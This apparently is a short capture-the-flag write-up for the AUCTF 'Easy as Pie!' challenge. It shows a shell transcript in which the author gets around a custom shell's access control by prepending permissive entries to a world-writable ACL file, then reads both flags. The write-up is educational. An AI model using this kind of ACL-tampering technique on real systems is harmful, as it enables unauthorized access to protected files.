Easy as Pie!

Table of Contents

Simple Python.

Problem

My friend just spent hours making this custom shell! He’s still working on it so it doesn’t have much. But we can do some stuff! He even built a custom access control list for controlling if you can access files.

Check it out!

nc challenges.auctf.com 30010

Solution

Just try.

Result

user@pyshell$ cat ../../flag.txt
user@pyshell$ cd
*** Unknown syntax: cd
user@pyshell$ cat acl.txt
user.txt:user:600
.acl.txt:root:600
.flag.txt:user:600
flag.txt:root:600
acl.txt:root:606
user@pyshell$ help write

        write <content> <filename>
        adds content to the beginning of the file.

user@pyshell$ write 1 acl.txt
1
user@pyshell$ cat acl.txt
1
user.txt:user:600
.acl.txt:root:600
.flag.txt:user:600
flag.txt:root:600
acl.txt:root:606
user@pyshell$ write flag.txt:user:600 acl.txt
flag.txt:user:600
user@pyshell$ cat flag.txt
aUctf_{h3y_th3_fl4g}
user@pyshell$ write .acl.txt:user:600
user@pyshell$ cat .acl.txt
Don't have da permzzz
user@pyshell$ write .acl.txt:user:600 acl.txt
.acl.txt:user:600
user@pyshell$ cat .acl.txt
auctf{h4_y0u_g0t_tr0ll3d_welC0m#_t0_pWN_l@nd}
Nemo Xiong avatar
Nemo Xiong
ex-Cybersecurity Executor, now a student in Unimelb
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